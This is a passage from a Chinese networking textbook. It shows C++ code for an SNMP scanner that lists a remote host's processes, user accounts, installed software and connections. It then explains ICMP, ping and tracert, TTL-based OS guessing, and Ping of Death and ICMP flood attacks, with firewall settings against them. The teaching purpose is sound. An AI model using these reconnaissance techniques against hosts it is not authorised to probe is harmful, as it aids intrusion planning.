扫描函数在MIB-2中，有13组（system、interface、at、ip、icmp、tcp、udp、egp、transmission、snmp、appletalk、ospf、host）近百个OID值，一种设计方法就是按其原有组织结构尽可能把所有的数据全都读到，并由扫描的人进行分析；另一种设计方法就是选择其中重要的参数，只扫描这些参数。前者固然好，但其可读性并不好。比如IP地址列表和掩码（MASK）列表在应用中，本是一一对应的，但OID中是单独的两个表，并且需要用户在查找的时候，人为地一一对应。为此，下面代码按照普通的阅读习惯，将所有属于同一类的合并为一个项，然后再显示。



void CSNMPScanerDlg::OnBUTTONScan()

{

UpdateData(TRUE);

CString strTemp,strOid;

int iTemp;//临时用于接收int型变量

//写入根节点名称

strTemp.Format("SNMP扫描[%s]",m_strIP);

HTREEITEM root=m_ctlTreeResult.InsertItem(strTemp,0,1);

//读取启动时间，从开始到读取时刻所经历的毫秒数

strOid=".1.3.6.1.2.1.25.1.1.0v;//.iso.org.dod.internet.mgmt.mib-2.system.sysUpTime

iTemp=atoi(GetValue(m_strIP,strOid,0))/1000;//转换为秒数

strTemp.Format("系统启动时间：%d小时%02d分%02d秒。",

iTemp/3600,(iTemp%3600)/60,iTemp%60);

m_ctlTreeResult.InsertItem(strTemp,4,5,root);

//读取系统信息，主要是CPU的信息

strOid=".1.3.6.1.2.1.1.1.0";//...mgmt.mib-2.system.sysDescr

strTemp.Format("系统信息：%s。",GetValue(m_strIP,strOid,0));

m_ctlTreeResult.InsertItem(strTemp,4,5,root);

//读取主机名称

strOid=".1.3.6.1.2.1.1.5.0";//...mgmt.mib-2.system.sysName

strTemp.Format("主机名称：%s。",GetValue(m_strIP,strOid,0));

m_ctlTreeResult.InsertItem(strTemp,4,5,root);

//读取系统的域名

strOid=".1.3.6.1.4.1.77.1.4.1.0";//....lanmanager.lanmgr-2.domain.domPrimaryDomain.0

strTemp.Format("系统域名：%s。",GetValue(m_strIP,strOid,0));

m_ctlTreeResult.InsertItem(strTemp,4,5,root);



以上各项都是直接通过读取OID值，对于读表变量，由于不知道表项的个数，所以只能通过GETNEXT不停地读取，但需要自己判断该表是否读完了。表项中没有表项的结束标志，所以判断的时候一般是用新读出来的OID值与要读表的OID值前几段的表项进行比较，这可以通过SnmpUtilOidNcmy进行比较，但这种方法通常需要知道要比较的项数，因此比较麻烦。下面采用某一个关键字的方式进行读取：



//当前进程，由于进程很多，所以肯定是以表的形式读取

HTREEITEM curr=m_ctlTreeResult.InsertItem("当前进程：",2,3,root);

strOid=".1.3.6.1.2.1.25.4.2.1.2";//这是OID表的值，host.hrSWRun.hrSWRunTable.

hrSWRunEntry.hrSWRunName.1

BOOL bContinue=TRUE;

while(bContinue)

{

strTemp=GetValue(m_strIP,strOid,1);

if((strOid.Find("hrSWRunName")＜0)||strTemp=="")

bContinue=FALSE;

else

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

}

//当前的用户列表

curr=m_ctlTreeResult.InsertItem("用户列表：",2,3,root);

strOid=".1.3.6.1.4.1.77.1.2.25.1.1";//....server.svUserTable.svUserEntry.svUserName

bContinue=TRUE;

while(bContinue)

{

strTemp=GetValue(m_strIP,strOid,1);

if((strOid.Find("svUserName")＜0)||strTemp=="")

bContinue=FALSE;

else

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

}

//当前系统中，所安装的软件

curr=m_ctlTreeResult.InsertItem("安装软件：",2,3,root);

//host.hrSWInstalled.hrSWInstalledTable.hrSWInstalledEntry.hrSWInstalledName

strOid=".1.3.6.1.2.1.25.6.3.1.2";

bContinue=TRUE;

while(bContinue)

{

strTemp=GetValue(m_strIP,strOid,1);

if((strOid.Find("hrSWInstalledName")＜0)||strTemp=="")

bContinue=FALSE;

else

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

}

//当前主机中网卡数

curr=m_ctlTreeResult.InsertItem("网卡数：",2,3,root);

strOid=".1.3.6.1.2.1.2.2.1.2";//interfaces.ifTable.ifEntry.ifDescr

bContinue=TRUE;

while(bContinue)

{

strTemp=GetValue(m_strIP,strOid,1);

if((strOid.Find("ifDescr")＜0)||strTemp=="")

bContinue=FALSE;

else

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

}



很明显，MIB库是一种树形结构，但在很多应用中，很多数据是以“关系”数据的结构出现的，如当前流行的Microsoft SQL Server、Access，甲骨文公司的Oracle等都是关系数据库，即数据库中的表都是一个二维表，形式像下表一样：
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由于MIB库语法的限制，只能将关系表拆成几个表变量，这些表变量的特点是：个数相等，并且具有一一对应关系。如上表所示，“IP地址”项数与“子网掩码”项数个数一定是相等的，并且具有一一对应关系。类似这种结构的读法，只能采用先把数据保存在数组中，然后在显示的时候再一次性全部显示的方法。

按上述方式，本应该使用二维数组方式，但考虑到在CString类有一个特殊的CStringArray类，故没有采用二维数组，而且采用了一维数组。但由于CStringArray相当于数组，所以实际用法还是二维数组的用法。



CStringArray sa[4];//定义最多四列，每一个又有若干行

curr=m_ctlTreeResult.InsertItem("IP(掩码)表：",2,3,root);

//mgmt.mib-2.ip.ipAddrTable.ipAddrEntry.ipAdEntAddr

strOid=".1.3.6.1.2.1.4.20.1.1";

bContinue=TRUE;

while(bContinue)

{

strTemp=GetValue(m_strIP,strOid,1);

if((strOid.Find("ipAdEntAddr")＜0)||strTemp=="")

bContinue=FALSE;

else

//m_ctlTreeResult.InsertItem(strTemp,curr);

sa[0].Add(strTemp);//加入数组中

}

//mgmt.mib-2.ip.ipAddrTable.ipAddrEntry.ipAdEntNetMask

strOid=".1.3.6.1.2.1.4.20.1.3";

bContinue=TRUE;

while(bContinue)

{

strTemp=GetValue(m_strIP,strOid,1);

if((strOid.Find("ipAdEntNetMask")＜0)||strTemp=="")

bContinue=FALSE;

else

//m_ctlTreeResult.InsertItem(strTemp,curr);

sa[1].Add(strTemp);

}

//将IP地址和掩码一并显示出来

for(int i=0;i＜sa[0].GetSize();i++)

{

strTemp.Format("%s/%s",sa[0].GetAt(i),sa[1].GetAt(i));

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

}

sa[0].RemoveAll();

sa[1].RemoveAll();

sa[2].RemoveAll();

sa[3].RemoveAll();

//使用同样的方式可以读到TCP/UDP的连接

curr=m_ctlTreeResult.InsertItem("TCP连接[本地IP/Port-＞远端IP/Port]：",2,3,root);

//mgmt.mib-2.tcp.tcpConnTable.tcpConnEntry.tcpConnLocalAddress

strOid=".1.3.6.1.2.1.6.13.1.2";

bContinue=TRUE;

while(bContinue)

{

strTemp=GetValue(m_strIP,strOid,1);

if((strOid.Find("tcpConnLocalAddress")＜0)||strTemp=="")

bContinue=FALSE;

else

//m_ctlTreeResult.InsertItem(strTemp,tcp);

sa[0].Add(strTemp);

}

//tcp=m_ctlTreeResult.InsertItem("本地Port：",curr);

//mgmt.mib-2.tcp.tcpConnTable.tcpConnEntry.tcpConnLocalPort

strOid=".1.3.6.1.2.1.6.13.1.3";

bContinue=TRUE;

while(bContinue)

{

strTemp=GetValue(m_strIP,strOid,1);

if((strOid.Find("tcpConnLocalPort")＜0)||strTemp=="")

bContinue=FALSE;

else

//m_ctlTreeResult.InsertItem(strTemp,tcp);

sa[1].Add(strTemp);

}

//tcp=m_ctlTreeResult.InsertItem("远端IP：",curr);

//mgmt.mib-2.tcp.tcpConnTable.tcpConnEntry.tcpConnRemAddress

strOid=".1.3.6.1.2.1.6.13.1.4";

bContinue=TRUE;

while(bContinue)

{

strTemp=GetValue(m_strIP,strOid,1);

if((strOid.Find("tcpConnRemAddress")＜0)||strTemp=="")

bContinue=FALSE;

else

//m_ctlTreeResult.InsertItem(strTemp,tcp);

sa[2].Add(strTemp);

}

//tcp=m_ctlTreeResult.InsertItem("远端Port：",curr);

//mgmt.mib-2.tcp.tcpConnTable.tcpConnEntry.tcpConnRemPort

strOid=".1.3.6.1.2.1.6.13.1.5";

bContinue=TRUE;

while(bContinue)

{

strTemp=GetValue(m_strIP,strOid,1);

if((strOid.Find("tcpConnRemPort")＜0)||strTemp=="")

bContinue=FALSE;

else

//m_ctlTreeResult.InsertItem(strTemp,tcp);

sa[3].Add(strTemp);

}

for(i=0;i＜sa[0].GetSize();i++)

{

strTemp.Format("%s/%s-＞%s/%s",

sa[0].GetAt(i),sa[1].GetAt(i),sa[2].GetAt(i),sa[3].GetAt(i));

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

}

sa[0].RemoveAll();

sa[1].RemoveAll();

sa[2].RemoveAll();

sa[3].RemoveAll();

//UDP连接

curr=m_ctlTreeResult.InsertItem("UDP连接[本地IP/Port]：",2,3,root);

//HTREEITEM udp=m_ctlTreeResult.InsertItem("本地IP：",curr);

strOid=".1.3.6.1.2.1.7.5.1.1";

bContinue=TRUE;

while(bContinue)

{

strTemp=GetValue(m_strIP,strOid,1);

if((strOid.Find("udpLocalAddress")＜0)||strTemp=="")

bContinue=FALSE;

else

//m_ctlTreeResult.InsertItem(strTemp,udp);

sa[0].Add(strTemp);

}

//udp=m_ctlTreeResult.InsertItem("本地Port：",curr);

strOid=".1.3.6.1.2.1.7.5.1.2";

bContinue=TRUE;

while(bContinue)

{

strTemp=GetValue(m_strIP,strOid,1);

if((strOid.Find("udpLocalPort")＜0)||strTemp=="")

bContinue=FALSE;

else

//m_ctlTreeResult.InsertItem(strTemp,udp);

sa[1].Add(strTemp);

}

for(i=0;i＜sa[0].GetSize();i++)

{

strTemp.Format("%s/%s",sa[0].GetAt(i),sa[1].GetAt(i));

m_ctlTreeResult.InsertItem(strTemp,4,5,curr);

}

sa[0].RemoveAll();

sa[1].RemoveAll();

sa[2].RemoveAll();

sa[3].RemoveAll();

m_strComment.Format("SNMP扫描结束");

UpdateData(FALSE);

}

//GetValue函数与上例5.4节"编程实例：SNMP通用读设工具"中函数完全相同，故不重复

void CSNMPScanerDlg::OnBUTTONClearResult()

{

//清空读到的结果

m_ctlTreeResult.DeleteAllItems();

}




第6章　ICMP扫描器的设计

ICMP（Internet Control Message Protocol，互联网控制报文协议）是TCP/IP协议族中的一个重要协议，主要用于在IP主机之间、主机和路由器之间传递控制消息，这些控制消息包括主机是否可以到达、是否需要重传、是否回显等，用于测试和控制网络。

ICMP广泛用于扫描算法中，如UDP端口扫描中，判断对方端口是否开放，就是利用ICMP数据返回的协议包的不同。

与前面介绍的各种工作在网络层以上的协议不一样，ICMP协议工作在网络层，这一点很重要，又常常是容易被用户忽略的。这种差异主要体现在以下三个方面：

❑工作在网络层意味着网络层以上各层的很多概念，在这里根本就没有或不需要，例如传输层的端口概念在网络层是不存在的，因而在使用ICMP协议的时候，不需要考虑对方的ICMP协议使用什么“端口”。在编程上，很多网络层以上专用的函数，也是无法使用的。

❑ICMP不像很多高层协议（如WWW协议）那样，是通过某个服务或应用程序来实现的，这些高层协议当程序运行，该服务便开始工作，程序停止，服务便停止。而ICMP协议则是由系统直接做出，无论用户是否关注并使用过这个协议，这个协议一直存在并不停地工作着，并且其中相当大的一部分都是直接由主机或设备之间自动生成。

❑系统对网络层编程的支持并不多，所以对ICMP协议的支持更多是转化为API的返回值（如某些通信函数根据不同的ICMP返回值设置API的返回值）。

正由于以上三点，尤其是第二点，给网络安全带来重大的隐患。因为黑客可以通过自己编写的ICMP扫描器对目标主机进行DDOS攻击。因此对ICMP进行拦截也是评判防火墙的一个重要指标。

本章在讲述ICMP协议后，着力详细介绍作为ICMP应用的两个操作系统提供的工具：ping和tracert命令，并通过截包实例详述ICMP包的结构。

最后详细讲述了一个多IP的ICMP扫描器的设计方式，仅从应用效果上来看，这个工具仅相当于同时ping多台主机，没有太大的实用性，但实际上，该程序具有如下意义：

1）该程序所采用的不是多线程ping模式（程序本身是多线程的，但不像是其他扫描器，每一个线程负责ping一个主机），但其速度不亚于多线程；

2）这种设计模式可以应用于多个领域，对于需要采用正常发送、嗅探接收模式的扫描器，都可以采用这种模式，因而这种模式具有通用性。


 6.1　ICMP协议简介

从表面上看，ICMP很像是工作在传输层，更像是一个高层协议，而实际上ICMP协议是IP的一部分，每一种IP模块必须实现ICMP。ICMP直接使用IP作为底层支持。

作为判断网络故障的重要协议，ICMP协议主要用于主机之间或主机和网关之间的通信，所传的内容也不是用户的内容，而且表示当前主机或网关的状态信息或出错信息，如：数据报不能到达目的地时，网关已经失去缓存功能，网关能够引导主机在更短路由上发送。

IP并非设计为绝对可靠，所以ICMP协议也并不是完全可靠的协议，这个协议的目的是为了当网络出现问题的时候返回控制信息，而不是使IP协议变得绝对可靠，并不保证数据报告或控制信息能够返回。一些数据报仍将在没有任何报告的情况下丢失，上层协议必须使用自己的差错控制程序来判断通信是否正确。

ICMP信息通常报告在处理数据报过程中的错误。若要避免信息无限制地返回，对于ICMP消息不会单独成包发送，而且ICMP信息只在处理数据报偏移量为0时发送。


6.2　ping与tracert命令简介

ping命令应该是每个网络开发人员都使用过的命令，并且都知道这个命令可以测试两台主机之间是否通，殊不知道，ping命令与ICMP协议关系十分密切。鉴于很多人是先知道ping命令，后知道ICMP协议的，故本章采用倒叙方式，先讲实例用法，再讲ICMP实例数据包结构，最后再讲协议，以使读者由“知其然”，到“知其所以然”，逐步清楚。


 6.2.1　ping程序使用

6.2.1.1　Windows下ping程序的用法

首先看ping命令的用法，点击“开始→程序→附件→命令提示符”，即可以弹出DOS命令提示符窗口，在其中输入ping命令并回车，如图6.1所示。
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图　6.1　Windows XP下ping命令用法截图

ping命令的用法：



ping[-t][-a][-n count][-l size][-f][-i TTL][-v TOS][-r count]

[-s count][[-j host-list]|[-k host-list]][-w timeout]target_name



各选项解释如表6.1所示，ping的实例如图6.2所示。
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图　6.2　ping实例图

这是ping一台IP地址为192.168.1.101的主机后返回的信息。其中：

Reply from 192.168.1.101:bytes=32 time=3ms TTL=128，代表的是接收到从对方的回复，其中数据缓冲区部分长度是32个字节（默认的大小，其具体内容详见后面6.3节“ICMP通信实例分析”），time=XXX ms表示从发送到返回之间的时间差，以毫秒（ms）为单位，在上例中，值都很小，这表明所ping的主机距离本机很近，往返时间很短。TTL值下面专门说明。

下半部的数据是一组统计数据，"Packets:Sent=4,Received=4,Lost=0(0%loss)"表示在收发的数据包中，发送了4个，收到了4个，丢失（中途被网关、路由器等丢掉）0个，丢失率是0%。"Minimum=2ms,Maximum=62ms,Average=25ms"表示在上述各轮的ping中，由本机发出到接到对方的回复耗时最短的是2毫秒，最长为62毫秒，平均是25毫秒。由于每两轮之间的时间间隔是1000毫秒，所以此次ping总耗时为3+1000+35+1000+62+1000+2=3102毫秒，约为3秒多。

6.2.1.2　通过TTL值判断对方操作系统的简易方法

回顾上面的TTL（Time To Live，生存时间）值，该值由发送者在发送时设定一个初始值，此后在传送的过程中，每经过一个路由器，在转发的时候，就自动将TTL值减1，当该值减到0时，就不再转发，在向发送源回送一个“ICMP超时”消息后无条件将该包扔掉。这样做的目的是，如果网络中路由配置存在环路时，防止数据包永远无休止地传送。也正因此特性，如果知道TTL的初值，根据读到的值，可以判断由目标主机到本地主机之间所经过的路由器数量值。在图6.2的例子中，主机192.168.1.101是一台Windows XP操作系统的主机，其TTL值初始值是128，ping命令到达时TTL值也是128，这说明192.168.1.101这个主机与实施ping命令的主机之间根本就没有路由器（事实上也的确没有）。

有趣的是，不同的操作系统，TTL的初始值不一样，表6.2所示的是常见操作系统默认的TTL初始值。
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一台主机，如果ping远端一台主机，TTL值虽然不会正好等于上表的初始值，但一般来说，经过10个以上路由器的情况很少，所以根据读到的TTL值不难判断出对方的操作系统类型。这种方式简单、直观，并且由于ping是所有操作系统都自带的程序，所以这种判断很方便。

在Windows下，TTL默认值是可以修改的，修改方法详见第12章的12.2节。


6.2.2　tracert程序使用

除了ping命令之外，还有一个使用ICMP协议的命令是tracert。在介绍ping命令的最后，着重地介绍了TTL值的意义，该值每经过一个路由器就减一次1，减到0的时候，路由器就不再转发该包，并向发送源回送一个“ICMP超时消息”的消息。

tracert命令的原理正是利用了TTL值的这个特性，程序依次向目标主机发送TTL值由1到预设值的数据包，每次数据包在未达到目的地时，就因为TTL被减成0，而返回“ICMP超时消息”。最后，TTL值未达到目的地，但到达了预设最大值，tracert程序操作失败；或者，TTL值在未达到预设最大值时已到达目的地，tracert操作成功。由于期间返回的“ICMP超时消息”依次对应于TTL值由小到大的，其发送者正好是途经的路由器，因而tracert程序就可以统计出由本机到达目标主机之间，所途经的路由器列表。该命令的参数如图6.3所示。
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图　6.3　Windows XP下tracert命令用法截图

tracert命令的用法：



tracert[-d][-h maximum_hops]

[-j host-list]

[-w timeout]target_name



各选项解释如表6.3所示。
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该命令的运行效果如图6.4所示。
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图　6.4　tracert实例图

由图6.4可见，由上海某地到达www.cctv.com网站之间所经过了10个路由器列表。


6.3　ICMP通信实例分析

ICMP是网络层的协议，因此不需要传输层的协议。体现在网络的数据包上，ICMP协议的数据包是这样的：IP包数据后面紧跟着ICMP数据包的内容。为了能直观地认识ICMP包，首先通过截包工具（截包程序的设计可参见第12章12.4节）截一些实际的包。

图6.5所展示的是主机192.168.0.100在ping主机192.168.0.201时，一次ICMP数据包的往返数据截包。序号1所在行表示所发的数据包；序号2所在行表示回复的数据包。
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图　6.5　某主机ping另一主机时，一个来回的数据截包展示图

ICMP数据包内容是：IP包头+ICMP包。IP包头的结构在第3章3.2.1节“网络通信实例分析”中已详述（见图3.1）。结合图3.1的IP协议结构和后面马上会提到的ICMP协议结构，可以将上面的数据套用到具体的结构中，得到图6.6和图6.7的效果。
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图　6.6　主机192.168.0.100在ping主机192.168.0.201时的数据结构图（16进制）
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图　6.7　主机192.168.0.201对主机192.168.0.201的ping操作反馈的数据结构图（16进制）

在图6.6中可以看到，对于ICMP协议的数据包，其底层是IP包，并且在IP包的“协议”字段标识为01（即ICMP协议），前面所分析的TTL值128，正是图6.6和图6.7中的生存时间TTL值80（16进制）=128（10进制）。


6.4　ICMP协议内容

在对ICMP协议有了一个宏观上的了解后，下面详细分析ICMP协议的细节。在ICMP中，所有的格式定义如表6.4所示。
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下面几节分别介绍每一个消息的格式、意义、用途。


 6.4.1　目的不可达消息

“目的不可达消息”用于检测或主动报告网络中某一个资源不可使用，该资源既可能是一个网络，也可能是一个主机，甚至是主机的某一个端口。通常情况下，当发现如下问题时，会产生该消息：

❑相应于网关的路由表，如果在目的域中指定的网络不可达，如网络距离为无限远，网关会向发送源数据的主机发送目的不可达消息。

❑在一些网络中，网关有能力决定目标主机是否可达。如果目的地不可达，它将向发送源数据的主机发送不可达消息。

❑在目标主机，如果IP模块因为指定的协议模块和进程端口不可用而不能提交数据报，目标主机将向发送源数据的主机发送不可达消息。

❑当数据报必须被分段传送，而发送方“不可分段”位打开，在这种情况下，网关必须抛弃此数据报，并向发送源数据的主机发送不可达消息。

目的不可达消息的ICMP协议数据格式为：
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各项值意义如下：

❑类型：固定为3。

❑代码：为如下几个之一:

0=网络不可达（由网关发送）

1=主机不可达（由网关发送）

2=协议不可用（由主机发送）

3=端口不可达（由主机发送）

4=需要段和DF设置（由网关发送）

5=源路由失败（由网关发送）

❑校验和：16位数据（从ICMP类型开始）的反码和再取反而得。为计算校验和，校验和域应该为0。这些0在以后会被校验和取代。

❑Internet包头+源数据报：Internet包头加上源数据的头64位而得。此数据用于主机匹配消息到相应的进程。如果高层协议使用端口号，应该假设其在源数据的头64个字节之中。

运行机制：该ICMP包通常是在处理有主机申请的时候，才被动地处理。当发现存在上述代码中问题时，服务或程序需要从发送者的IP域的“源IP地址”复制到当前ICMP包IP域的“目的IP地址”中，其余值按上述说明填写后即可发送。

代码0、1、4和5由网关发送，而代码2和3由主机发送。

回到扫描器的设计中，不难发现，ICMP的“目的不可达消息”在扫描器算法中功不可没。其中“网络不可达”消息可以用来判断对方网络是否可以路由；“主机不可达”消息可以用来扫描对方主机是否开机（即ping命令，本章编程实例即使用此消息）；“端口不可达”消息可以用于UDP扫描（详见第3章的3.2.3节“UDP扫描”）。


6.4.2　超时消息

“超时消息”用于检测到数据包的生存时间为零或多段数据在规定时间内不能获得所有段时产生的一种消息。通常情况下，当发现如下问题时，会产生该消息：

❑如果网关在处理数据报时发现生存时间TTL域为零，此数据报必须抛弃。同时网关通过超时消息通知源主机。

❑如果主机在组装分段的数据报时因为丢失段未能在规定时间内组装数据，此数据报必须抛弃。网关发送超时消息。

❑如果段零不可用则不用发送超时消息。

超时消息的ICMP协议数据格式为：
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各项值意义与运行机制参见6.4.1节。

❑代码为如下两个之一：

0=传送超时（由网关发送）

1=分段组装超时（由主机发送）


6.4.3　参数问题消息

“参数问题消息”用于检测数据包中各参数的合理性问题，当发现有错误，并无法继续工作时，就会产生此消息。例如：如果网关或主机在处理数据报时发现包头参数有错误以至不能完成工作，它必须抛弃此数据报。一个潜在的原因可以是变量的错误。网关或主机将通过参数问题消息通知源主机，此消息只有在消息被抛弃时才被发送。

参数问题消息的ICMP协议数据格式为：
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代码为0表示指针指向错误。代码0可能从主机或网关接收到。

其他参数参见6.4.1节。


6.4.4　源拥塞消息

“源拥塞消息”用于接收方（既可以是网关，也可以是主机）发现发送方发送数据速率过繁，导致己方缓冲区无法容纳时，向发送方发送的一种消息。通常情况下，当发现如下问题时，会产生该消息：

❑网关接收的数据报太多，没有足够的缓冲容纳，就会抛弃数据报，如果网关这样做了，它会发送源拥塞消息给每一个被抛弃数据报的源发送主机，要求发送方减少发送速率。

❑目标主机接收的数据报太多无法处理，目标主机也会发送相应的消息给发送主机，要求发送方减少发送速率。

❑通常情况下，网关或主机不会等到已经超过限度后再发送此消息，而是接近自己的处理极限时就发送此消息，这意味着，引发源拥塞消息的数据报仍然可以处理。

源拥塞消息的ICMP协议数据格式为：
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其中各项值的含义参见6.4.1节。代码0可能从主机或网关发送或接收到。

运行机制：

❑作为接收方的网关或主机，当发现当前接收的数据包接近或达到自己的处理极限时，就会定时向所有发送源的主机或网关发送“源拥塞消息”，通知发送主机应该减少发送速率；当超过极限，没有缓冲区可以容纳这些数据时，就会向抛弃多余的数据报，并继续定时向发送源发送“源拥塞消息”，直到当前接收到数据包降到极限以下时，停止发送。源主机或网关的地址取自于发送者IP域的“源IP地址”。

❑作为发送方的网关或主机，当接到该“源拥塞消息”后，应该主动减少发送速率，直到不再接收到网关发送的源拥塞消息为止，源主机可以再次恢复增加发送速度，直到再次接到目标主机或网关发送的源拥塞消息为止。


6.4.5　重定向消息

“重定向消息”主要用于网络中路由的优化。通常情况下，当发现问题时，会产生该消息。例如：当网关G1从网关相连的网络上接收到数据报，它检查路由表获得下一个网关G2的地址X，如果G2和指定的接收主机在同一网络上，则网关G1会向发送源主机发出重定向消息，建议发送主机直接将数据报发向网关G2，因为这更近。同时因为只是建议，所以网关G1仍然向前继续发送来自此源主机的数据报。

重定向消息的ICMP协议数据格式为：
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代码0、1、2和3可能会从网关发送，含义如下：

❑0=重定向网络的数据报

❑1=重定向主机的数据报

❑2=重定向网络和服务类型的数据报

❑3=重定向网络和主机类型的数据报

其他项参见6.4.1节。

运行机制：

❑网关在下面情况中发送重定向消息。网关G1从网关相连的网络上接收到数据报，它检查路由表获得下一个网关G2的地址X。如果网关G2和指定的接收主机在同一网络上，重定向消息发出，此消息建议发送主机直接将数据报发向网关G2，因为这更近，同时网关G1向前继续发送此数据报。

❑作为主机，当接收到此消息后，应该主动将数据直接转向网关G2，该动态转变，不会影响到之前已发的数据。

❑在实际应用中，一则因为在数据报中的IP源路由和目的地址域是可选的；二则通常情况下，大部分路由都是合理的，而如果对每一个数据报都对目的IP进行这样的优化比较，所耗费的路由器资源远大于不做判断，直接将数据报转给下一个网关后因“绕远路”而耗费的路由器资源大。所以即使有更好的路由有时也无法发现。


6.4.6　回送请求或回送响应消息

“回送请求或回送响应消息”主要用于网络中，主机判断对方是否仍然处于正常状态。通常情况下，当发现如下问题时，会产生该消息：

❑需要主动检测对方的主机或网关，会主动发送“回送请求消息”。

❑被检测的主机或网关，会主动发送“回送响应消息”。

回送请求或回送响应消息的ICMP协议数据格式为：
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各项值意义如下：

❑类型：

8=代表回送请求消息（从接收方回复）

0=代表回送响应消息（从发送方发出）

❑代码：固定为0。

❑校验和：参见6.4.1节。

❑标识符：如果代码=0，帮助匹配回送请求和回送响应的标识符可以为0。

❑序列码：如果代码=0，帮助匹配回送请求和回送响应的序列码可以为0。

运行机制：

❑发送方当发现需要检测对方是否处于正常状态时，主动发“回送请求消息”。

❑接收方在接到了回送消息后，返回“回送响应消息”。由于二者格式、内容都差不多，所以回送响应消息的产生，通常是直接在回送消息的格式上做修改，这需要进行几个方面的修改，一是回送消息的源地址是回送响应消息的目的地址。应该将源和目的地址交换；二是回送消息和回送响应消息的类型不一致，所以需将类型代码更改为0；三是，如果在原有回送消息上改，则需要重新计算机校验和。


6.4.7　时间戳请求和时间戳响应消息

“时间戳请求或时间戳响应消息”主要用于网络中，计算信息往复所需要的时间。时间戳（timestamp）是以百万分之一秒为单位进行计算，并以标准时午夜开始计时。如果网关或主机的时间采集精度无法达到百万分之一秒，或者不能以标准时提供，则可以在时间戳的高字节填充入数据以表示这不是标准数据。通常情况下，当发现如下问题时，会产生该消息：

❑需要计算往复时间的主机和网关在填好自身时间戳后，主动向目标主机或网关发出时间戳请求消息。

❑目标主机或网关在接收到该时间戳消息后，在填入自身时间戳后，以时间戳响应消息的方式回复对方。双方都可以根据自己和对方的时间戳计算中间所需时间。

时间戳请求或时间戳响应消息的ICMP协议数据格式为：
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各项值意义如下：

❑类型：

13=代表时间戳请求消息（从接收方回复）

14=代表时间戳响应消息（从发送方发出）

❑代码：固定为0。

❑校验和：参见6.4.2节。

❑标识符：如果代码=0，帮助匹配时间戳请求和时间戳响应的标识符可以为0。

❑序列码：如果代码=0，帮助匹配时间戳请求和时间戳响应的序列码可以为0。

❑原时间戳：发送方发送时的时间戳。

❑接收时间戳：接收方接收时的时间戳。

❑传送时间戳：接收方回送时的时间戳。

运行机制：

❑发送方当发现需要检测时间戳是否处于正常状态时，主动发“时间戳请求消息”。

❑接收方在接到了时间戳消息后，返回“时间戳响应消息”。由于二者格式、内容都差不多，所以时间戳响应消息的产生，通常是直接在时间戳消息的格式上做修改，这需要进行几个方面的修改，一是时间戳请求消息的源地址是时间戳响应消息的目的地址。应该将源和目的地址交换；二是时间戳请求消息和时间戳响应消息的类型不一致，所以需将类型代码更改为14；三是，如果在原有时间戳消息上改，则需要重新计算机校验和。标识符和序列码由发送者匹配请求的响应。


6.4.8　信息请求或信息响应消息

“信息请求或信息响应消息”主要用于网络中，主机自动找自己所在的网络号。通常情况下，当发现如下问题时，会产生该消息：

❑某主机在检测到自己存在于某个网络中，但不知道该网络的网络号时，该主机可以发送此消息，发送时将目的IP地址填为0，以表示此消息发送给“本网络”。

❑当某网关接收到此消息时，会响应主机，发送“信息响应消息”。

信息请求或信息响应消息的ICMP协议数据格式为：
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各项值意义如下：

❑类型：

15=代表信息请求消息（从发送方发出，即可能会从主机或网关中发出）

16=代表信息响应消息（从接收方回复，即可能会在主机或网关中接收到）

❑代码：固定为0。

❑校验和：参见6.4.1节

❑标识符：如果代码=0，帮助匹配信息请求和信息响应的标识符可以为0。

❑序列码：如果代码=0，帮助匹配信息请求和信息响应的序列码可以为0。

运行机制：

❑发送方当发现需要检测自身所处网络的网络号码时，主动发“信息请求消息”。

❑接收方在接到了信息请求消息后，填入网络号码，返回“信息响应消息”。标识符和序列码由发送者匹配请求的响应。


6.5　ICMP扫描的安全性

ICMP协议对于网络安全非常重要，很多黑客也常利用ICMP协议攻击网络上的路由器或主机。主要的攻击方式有：

❑"Ping of Death"（死亡之Ping）：该方式是一种拒绝服务（DOS）攻击，其原理是当发送者发送的ICMP包长度超过64KB时，接收方会出现内存分配错误，最终导致TCP/IP的内部堆栈崩溃，最终致使主机死机。

❑“ICMP网络风暴”：当向某目标主机长时间、连续、大量地发送ICMP数据包，这些ICMP数据包会形成“ICMP风暴”，由于对于目标主机，每一个数据包都需要处理，而这些连续不断的处理会耗费目标主机大量的CPU和内存资源，最终使目标主机系统瘫痪，甚至死机。

应对上述两个问题，可以通过设置防火墙的ICMP数据包处理规则。要设置ICMP数据包处理规则，在Windows XP中主要是通过防火墙。要在防火墙中配置ICMP规则，首先进入“控制面板”，在弹出的“控制面板”窗口中，双击“Windows防火墙”图标，就会弹出“Windows防火墙”对话框，在该对话框中，有“常规”、“例外”、“高级”三个选项卡，单击“高级”选项卡，如图6.8所示。
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图　6.8　“Windows防火墙”对话框的“高级”选项卡

在“Windows防火墙”的“高级”选项卡中，界面自上至下分为四个分组，其中第三个分组是"ICMP"分组，要进行ICMP规则配置，则单击"ICMP"分组中的“设置”按钮，即弹出如图6.9的对话框。（其中第一个分组的“网络连接设置”中各项相当于控制面板中的“网络连接”。）
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图　6.9　ICMP过滤规则设置

当前的设置只允许传入回显请求，其余的都不允许。即在该配置下，只允许对方通过ping命令测试是否能连通自己，而过滤其他的ICMP数据包。


6.6　编程实例：快速多IP的ICMP扫描器

由操作系统提供的ping程序，其方便性和应用性无庸置疑，但该程序也有几个不方便的地方，如不能同时对一段连续的IP、或一个IP列表中的IP进行ping；再如由于是命令行的程序，所以每次都需要进入到命令行提示符下，然后手工输入ping命令和要ping的地址，不能实行自动地操作。

要解决上述问题，最有效的办法还是自己编写一个ICMP扫描器，该扫描器具有可以对指定的一段IP或某个列表中的所有主机自动进行扫描，并将扫描的结果显示出来。在现实使用中，该程序还具有现实的意义，因为通过该工具，用户可以快速知道哪些主机处于开的状态，并且根据前面所说的方法，简单地初判对方的操作系统类型。


 6.6.1　程序主界面

根据上述分析，可以做一个界面，如图6.10所示。
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图　6.10　ICMP协议扫描器

